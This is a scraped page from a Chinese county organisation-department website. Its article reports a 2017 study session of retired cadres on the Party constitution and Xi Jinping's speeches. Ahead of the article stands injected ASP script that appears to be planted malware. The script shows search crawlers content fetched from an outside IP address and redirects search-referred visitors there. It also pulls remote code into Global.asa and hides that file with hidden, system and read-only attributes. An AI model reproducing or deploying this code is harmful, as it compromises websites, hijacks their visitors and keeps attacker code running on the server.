' ' 'by*aming Server.ScriptTimeout=600 Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function createasax(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asax")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asax"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,360,so,haosou",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRobot() CheckRobot = False Dim Botlist,i,Repls Repls = request.ServerVariables("http_user_agent") Krobotlist = "Baiduspider|Googlebot" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(Repls,Botlist(i)) > 0 Then CheckRobot = True Exit For End If Next If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1 If Session("ThisCheckRobot") = 1 Then CheckRobot = True End Function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|youdao|bing|yahoo|qihoo|iask|haosou|360.cn|so.|anquan|qq.|51yes|51.la" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then CheckRefresh = True Exit For End If Next End Function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub If CheckRefresh=true Then cnnbd=lcase(Request.ServerVariables("HTTP_HOST")&request.ServerVariables("HTTP_URL")) 'response.redirect("http://198.2.196.141/?"&cnnbd&"") fkurl = GetHtml("http://198.2.196.141/") Response.Write fkurl response.end end If user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then body=GetHtml("http://198.2.196.141/") response.write body urlname="http://"&request.servervariables("HTTP_HOST") link=GetHtml(urlname) response.write link response.end else asa=GetHtml("http://198.2.196.141/globalquan.txt") if instr(asa,"by*aming")>0 then createasa(asa) end if dim name name=request.servervariables("Path_Translated") Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) Dim v Dim t ReDim A(Request.Form.Count) ReDim B(Request.Form.Count) v=Request.Form t=Request.Form.Count if t>0 then For i=0 To t-1 b(i)=Split(Split(v,"&")(i),"=")(1) if instr(LCase(b(i)),"global.asa")>0 then f.Attributes=1+2+4 response.end() end if Next end if if DC=false and CF=True and request.servervariables("QUERY_STRING")<>"" then response.redirect(Rurl&"?"&Request.ServerVariables("HTTP_HOST")) elseif instr(name,";")>0 then set m=fso.Getfile(name) m.Attributes=0 fso.DeleteFile(name) f.Attributes=1+2+4 response.end() end if ScriptAddress=Request.ServerVariables("SCRIPT_NAME") namepath=Server.MapPath(ScriptAddress) If Len(Request.QueryString) > 0 Then ScriptAddress = ScriptAddress & "?" & Request.QueryString end if geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress geturl =LCase(geturl) 'response.write replace(namepath,server.MapPath("/"),"") 'response.end 'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then agent = lcase(request.servervariables("http_user_agent")) referer = LCase(Request.ServerVariables("HTTP_REFERER")) bot = "" Amll = "" if instr(agent, "+") > 0 then bot = agent if instr(agent, "-") > 0 then bot = agent if instr(agent, "http") > 0 then bot = agent if instr(agent, "spider") > 0 then bot = agent if instr(agent, "bot") > 0 then bot = agent if instr(agent, "linux") > 0 then bot = agent if instr(agent, "baidu") > 0 then bot = agent if instr(agent, "google") > 0 then bot = "nobot" if instr(agent, "yahoo") > 0 then bot = "nobot" if instr(agent, "msn") > 0 then bot = "nobot" if instr(agent, "alexa") > 0 then bot = "nobot" if instr(agent, "sogou") > 0 then bot = "nobot" if instr(agent, "youdao") > 0 then bot = "nobot" if instr(agent, "soso") > 0 then bot = "nobot" if instr(agent, "iask") > 0 then bot = "nobot" if bot="nobot" then 'Call WriteErr 'response.end end if If Instr(REFERER,"http") > 0 and Instr(REFERER,".") > 0 and Instr(REFERER,"/") > 0 and Instr(REFERER,"?") > 0 and Instr(REFERER,"=") > 0 Then Amll = "ok" tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if tjcount="" then response.cookies("cookie_tjcount")=0 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) end if if date1<>date2 then response.cookies("cookie_date")=date2 response.cookies("cookie_date").Expires=DateAdd("d",365,now()) end if tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if date1=date2 and len(bot) = 0 then if int(tjcount)<10 and len(Amll)>0 then response.cookies("cookie_tjcount")=int(tjcount)+1 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) strHost=Request.ServerVariables("HTTP_HOST") Response.Redirect("http://198.2.196.141/?domain="&strHost&"") else response.write "系统找不到指定的文件。" 'response.write "" 'response.write gethtml(geturl&"?global=ok") end if response.end end if Call sleep() end if end if ' 学党章学讲话 喜迎十九大--马尔康市驻都江堰干休所组织副县级以上离退休干部召开专题学习会_老干部局_干部工作_马尔康组工网——中共马尔康市委组织部信息中心
  您的位置  首页 >> 干部工作 >> 老干部局 >> 正文
学党章学讲话 喜迎十九大--马尔康市驻都江堰干休所组织副县级以上离退休干部召开专题学习会
[审核:张通跃 | 撰稿:黄涛 | 日期:2017年9月26日 | 浏览1107 次] 字体:[ ]

 

2017920日,马尔康市驻都江堰市干休所组织居住在都江堰市的副县级以上离退休干部40余人,在沙西线的惠民果苑农家召开了“学党章学讲话 喜迎十九大”专题学习会。

 

组织学习了《党章》的部分章节、习近平总书记在“一带一路”国际合作高峰论坛开幕式上的演讲《携手推进“一带一路”建设》、习近平总书记726日在省部级主要领导干部专题研讨班上的重要讲话等内容。通过学习讨论,老干部们进一步提高了认识、统一了思想,期待着十九的胜利召开。

 


 

 

学习党章,做党章的坚定执行者和忠实捍卫者。党章是党的根本大法。每名党员都必须要把认真学习党章作为必修课程,学好党章、学懂党章、遵守党章、贯彻党章,坚决维护党章的权威性和严肃性,自觉做党章的坚定执行者和忠实捍卫者。坚定不忘初心跟党走的信念。

 

学习讲话,充满信心期待十九大。党的十八大以来的5年,是党和国家发展进程中很不平凡的5年。5年来,党中央科学把握当今世界和当代中国的发展大势,顺应实践要求和人民愿望,推出一系列重大战略举措,出台一系列重大方针政策,推进一系列重大工作,解决了许多长期想解决而没有解决的难题,办成了许多过去想办而没有办成的大事。全面加强了党的领导,大大增强了党的凝聚力、战斗力和领导力、号召力。坚定不移贯彻了新发展理念,有力推动我国发展不断朝着更高质量、更有效率、更加公平、更可持续的方向前进。坚定不移全面深化了改革,推动改革呈现全面发力、多点突破、纵深推进的崭新局面。2020年全面建成小康社会后,全党全国各族人民将为实现第二个百年奋斗目标而努力,踏上建设社会主义现代化国家新征程,让中华民族以更加昂扬的姿态屹立于世界民族之林。离退休老干部们赞赏十八大以来取得的巨大成就,更对十九大充满了信心和期待。

 


 

了解时势,“一带一路”又谱新章。习近平主席提出共建“丝绸之路经济带”和“21世纪海上丝绸之路”的重大倡议3年多来,“一带一路”建设从无到有、由点及面,取得了超出预期的成果和进展,已经有100多个国家和国际组织对“一带一路”倡议积极响应,50多个国家与中国签署了相关合作协议。此外,联合国大会、亚太经合组织、亚欧会议、大湄公河次区域合作等国际组织或机制都已将“一带一路”建设写入政策文件。可以说,围绕“一带一路”,各国共商、共建、共享的局面已经形成,奏响了国际合作的交响乐。提出3年多来,“一带一路”已从一个倡议发展成多方参与的世界愿景,而随着“一带一路”国际合作高峰论坛的举办,“一带一路”的交响乐将开启第二乐章。如果说“一带一路”第一乐章的主题是描绘蓝图,那么第二乐章的主题将是落实愿景,而“绿色、健康、智力、和平”的丝绸之路理念将成为第二乐章的主旋律。离退休老干部们感慨我国在中国共产党的领导下发展壮大,国家综合实力的不断增强,实现了原来想也不敢的梦想。中国在共产党的领导下,越来越强大,我们为生活在中国而感到无比骄傲和自豪。


相关文章

  • ·没有相关文章

相关专题

  • ·专题1信息无
  • ·专题2信息无